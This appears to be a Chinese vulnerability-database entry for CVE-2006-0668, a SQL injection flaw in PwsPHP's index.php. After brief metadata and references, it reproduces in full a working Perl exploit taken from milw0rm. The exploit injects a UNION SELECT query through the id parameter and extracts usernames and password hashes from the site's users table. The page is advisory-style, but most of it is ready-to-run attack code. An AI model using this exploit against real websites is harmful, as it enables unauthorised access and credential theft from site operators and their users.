PwsPHP Index.PHP SQL注入漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1109814 漏洞类型 SQL注入
发布时间 2006-02-25 更新时间 2006-03-17
CVE编号 CVE-2006-0668 CNNVD-ID CNNVD-200602-176
漏洞平台 PHP CVSS评分 7.5
|漏洞来源
https://www.exploit-db.com/exploits/1532
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200602-176
|漏洞详情
PwsPHP1.2.3的index.php中存在SQL注入漏洞。远程攻击者可以借助id参数(可能在espace_membre模块的message.php中)执行任意SQL命令。
|漏洞EXP
#!/usr/bin/perl
#
# PwsPHP <= 1.2.4 (index.php) Remote SQL Injection Exploit
# http://example.com/index.php?mod=sondages&do=results&id=1%20union%20select%20id,0,0,pseudo,pass,pseudo,0,0,0,0,0,0,0,0,0,0,0,0,0,0%20from%20%60users%60%20/*
# Discovered by: papipsycho (papipsycho.com) (WOrlddefacers.de)
# ported by str0ke (milw0rm.com)

use LWP::Simple;

$serv     =  $ARGV[0];
$path     =  $ARGV[1];

sub usage
 {
    print "\nPwsPHP <= 1.2.4 (index.php) Remote SQL Injection Exploit\n";
    print "Discovered by: papipsycho (papipsycho.com)\n";
    print "Ported by str0ke (milw0rm.com)\n";
    print "Usage: $0 www.example.com /directory/\n";
    print "sever    -  URL\n";
    print "path     -  path to index.php\n";
    exit ();
}

sub exploit
 {
    print qq(
    PwsPHP <= 1.2.4 (index.php) Remote SQL Injection Exploit
    Discovered by: papipsycho (papipsycho.com)
    Ported by str0ke (milw0rm.com)\n\n);

    $string= "index.php?mod=sondages&do=results&id=1%20union%20select%20id,0,0,pseudo,pass,pseudo,0,0,0,0,0,0,0,0,0,0,0,0,0,0%20from%20%60users%60%20/*";
    $url = sprintf("http://%s%s%s",$serv,$path,$string);
    $content = get "$url";
    @contents = split(/\n/, $content);
    foreach $line (@contents) {
    if ($line =~ /(\<center\>\<b\>)(.*?)(\<\/b\>\<\/center\>\<br\>\<br\>)/){&username;}
    if ($line =~ /(\<td\>)(\w{32})(\<\/td\>)/){&password;}
    }
}

sub username { print "[*] Username: $2\n";}
sub password { print "[*] Hash: $2\n\n";}

if (@ARGV != 2){&usage;}else{&exploit;}

# milw0rm.com [2006-02-25]
|参考资料

来源:SECUNIA
名称:19023
链接:http://secunia.com/advisories/19023
来源:MISC
链接:http://www.securityfocus.com/bid/16567/exploit
来源:BID
名称:16567
链接:http://www.securityfocus.com/bid/16567